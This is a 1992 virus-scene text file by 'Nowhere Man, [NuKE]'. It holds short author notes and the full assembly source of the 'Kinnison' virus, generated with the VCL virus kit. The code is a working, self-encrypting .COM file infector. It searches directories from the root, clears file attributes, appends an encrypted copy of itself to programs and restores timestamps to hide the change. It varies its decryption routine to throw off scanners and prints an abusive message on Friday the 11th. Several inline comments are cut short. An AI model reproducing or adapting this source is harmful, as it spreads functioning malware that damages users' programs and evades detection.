A few notes on the Kinnison Virus --------------------------------- Kinnison was made with VCL 0.75 beta, and its source was unmodified. The resulting .COM was attached to a dummy file (5 NOPs and an INT 020h) so that it would be encrypted (it uses a self-modifying XOR encryption routine that 's only twelve bytes long). It is a self-encrypting appending .COM infector. It has a 50% chance of spreading down the directory tree on each execution. The Kinnison virus goes off every Friday the 11th, the weekday and date that Sam Kinnison was killed in an auto accident. At that point Kinnison "screams" at the user. Nothing else is done, and there is no disk damage. If you have any comments or suggestions for Kinnison (which I plan to distribute with VCL as an example virus) or VCL (code, etc.), please let me know. Thanks. --Nowhere Man, [NuKE] '92 ; KINNISON.ASM -- Sam Kinnison virus ; Created by Nowhere Man's Virus Creation Labratory v0.75 ; Written by Nowhere Man virus_type equ 0 code segment 'CODE' assume cs:code,ds:code,es:code,ss:code org 0100h main proc near flag: mov ah,0 nop nop jmp start ;Would be at start of victim nop nop start: call find_offset ; Push IP on to stack, advance IP find_offset:pop di ; DI holds old IP sub di,3 ; Adjust for length of CALL lea si,[di + start_of_code - start] ; SI points to code call encrypt_decrypt ; Decrypt the code start_of_code label near push di ; Save DI mov si,offset flag ; SI points to flag bytes lea di,[di + new_jump - start] ;DI points 2 start of jmp movsw ; Transfer two bytes movsw ; Transfer two bytes pop di ; Restore DI push di ; And save it for later lea si,[di + buffer - start]; SI points to old start mov di,0100h ; DI points to start of code movsw ; Transfer two bytes movsw ; Transfer two bytes movsw ; Transfer two bytes movsb ; Transfer final byte pop di ; Restore DI mov bp,sp ; BP points to stack sub sp,128 ;Allocate 128 bytes on stack mov ah,02Fh ; DOS get DTA function int 021h push bx ;Save old DTA address on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ;DX points to buffer on stack int 021h call get_day cmp ax,000Bh jne end00 call get_weekday cmp ax,0005h jne end00 mov cx,0003h call beep end00: xor ah,ah ; BIOS get time function int 01Ah test dx,0001h jne no_infection call search_files no_infection: call get_day cmp ax,000Bh jne end01 call get_weekday cmp ax,0005h jne end01 lea si,[di + data00 - start] ; SI points to data call display_string end01: pop dx ; DX holds original DTA address mov ah,01Ah ; DOS set DTA function int 021h mov sp,bp ; Deallocate local buffer mov di,0100h ; Push 0100h on to stack for push di ; return to main program xor ax,ax ; mov bx,ax ; mov cx,ax ; mov dx,ax ; Empty out the registers mov si,ax ; mov di,ax ; mov bp,ax ; ret ; Return to original program main endp search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ;SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function lea dx,[di + root - start] ;DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ;Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes mov dx,offset all_files ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself mov ah,03Bh ; DOS change directory function lea dx,[di + up_dir - start]; DX points to parent dir int 021h another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: lea dx,[di + com_mask - start] ; DX points to "*.COM" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for com_mask db "*.COM",0 ; Mask for all .COM files traverse endp find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ;Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ;DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov si,bx ; SI points to the DTA mov ax,04301h ; DOS set file attributes function xor cx,cx ; Clear all attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h mov ax,03D02h ; DOS open file function,r/w int 021h xchg bx,ax ; BX holds file handle mov ah,03Fh ;DOS read from file function mov cx,7 ; CX holds bytes to read (7) lea dx,[di + buffer - start]; DX points to buffer int 021h push si ;Save DTA address before compare mov byte ptr [di + set_carry - start],0 ;Assume we'll fail lea si,[di + buffer - start]; SI points to comparison push di ; Save virus offset lea di,[di + new_jump - start] ; DI points to virus flg mov cx,4 ; CX holds number of bytes rep cmpsb ; Compare the first pop di ; Restore DI je close_it_up ; If equal then close up mov byte ptr [di + set_carry - start],1 ; Success -- cwd ; Zero CX _ Zero bytes from mov cx,dx ; Zero DX / mov ax,04200h ; DOS file seek function, int 021h mov ax,04202h ; DOS file seek function,EOF cwd ; Zero DX _ Zero bytes from mov cx,dx ; Zero CX / int 021h sub ax,7 ; Prepare for JMP mov word ptr [di + new_jump + 5 - start],ax ; Construct call encrypt_code ; Make an encrypted copy of mov ah,040h ; DOS write to file function mov cx,finish - start ; CX holds virus length lea dx,[di + finish - start] ;DX points to encrypted copy int 021h cwd ; Zero DX _ Zero bytes from mov cx,dx ; Zero CX / mov ax,04200h ; DOS file seek function, int 021h mov ah,040h ; DOS write to file function mov cx,7 ; CX holds bytes to write (7 lea dx,[di + new_jump - start] ; DX points to the jump int 021h close_it_up: pop si ; Restore DTA address mov ax,05701h ; DOS set file time function mov cx,[si + 016h] ; CX holds old file time mov dx,[si + 018h] ; DX holds old file date int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attributes fu xor ch,ch ; Clear CH for file attribut mov cl,[si + 015h] ; CX holds file's old attrib lea dx,[si + 01Eh] ; DX points to victim's name int 021h infection_done: cmp byte ptr [di + set_carry - start],1 ; Set carry ret ; Return to caller set_carry db ? ; Set-carry-on-exit flag buffer db 5 dup (090h),0CDh,020h ; Buffer to hold test new_jump db 4 dup (?),0E9h,?,? ; New jump to virus infect_file endp beep proc near jcxz beep_end ; Exit if there are no mov ax,0E07h ; BIOS display char.BELL beep_loop: int 010h ; Beep loop beep_loop ; Beep until --CX = 0 beep_end: ret ; Return to caller beep endp display_string proc near mov ah,0Eh ; BIOS display char. fun display_loop: lodsb ; Load the next char. in or al,al ; Is the character a nul je disp_strnend ; If it is, exit int 010h ; BIOS video interrupt jmp short display_loop ; Do the next character disp_strnend: ret ; Return to caller display_string endp get_day proc near mov ah,02Ah ; DOS get date function int 021h mov al,dl ; Copy day into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_day endp get_weekday proc near mov ah,02Ah ; DOS get date function int 021h cbw ; Sign-extend AL into AX ret ; Return to caller get_weekday endp data00 db "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0 vcl_marker db "[VCL]",0 ; VCL creation note db "Dedicated to the memory of" db " Sam Kinnison 1954-1992",0 db "[Kinnison]",0 db "Nowhere Man, [NuKE] '92",0 encrypt_code proc near push bx ; Save BX push di ; Save DI lea si,[di + encrypt_decrypt - start] ; SI points xor ah,ah ; BIOS get time function int 01Ah or dx,1 ; Insure we never get 0 mov word ptr [si + 5],dx ; Low word of timer is n alter_flag: mov al,0 ; AL holds alteration fl inc byte ptr [di + (alter_flag + 1) - start] ; Togg test al,1 ; Is bit one set? jne check_nop ; If not then don't togg xor byte ptr [si],0110b ; Change all BPs in star xor byte ptr [si + 4],010b ; to BXs, and vice-versa xor byte ptr [si + 7],0110b ; check_nop: test al,2 ; Is bit two set? jne do_encryption ; If not then don't togg mov ax,word ptr [si + 7] ; AX holds INC/NOP xchg ah,al ; Exchange position of I mov word ptr [si + 7],ax ; Put the word back do_encryption: mov si,di ; SI points to start of lea di,[di + finish - start] ; DI points past mov cx,(finish - start) / 2 ; CX holds words to tran rep movsw ; Copy the code pop di ; Restore DI lea si,[di + (finish + (start_of_code - start)) - start] ; SI points to code to encrypt call encrypt_decrypt ; Encrypt the code pop bx ; Restore BX ret ; Return to caller encrypt_code endp even ; Must be on an even bou end_of_code label near encrypt_decrypt proc near mov bp,end_of_code - start_of_code - 2 ; BP holds xor_loop: db 081h,032h,00h,00h ; XOR a word with the ke dec bp ; Do the next byte nop ; Used to throw off dete jne xor_loop ; Repeat until we're don ret ; Return to caller encrypt_decrypt endp finish label near code ends end main Downloaded From P-80 International Information Systems 304-744-2253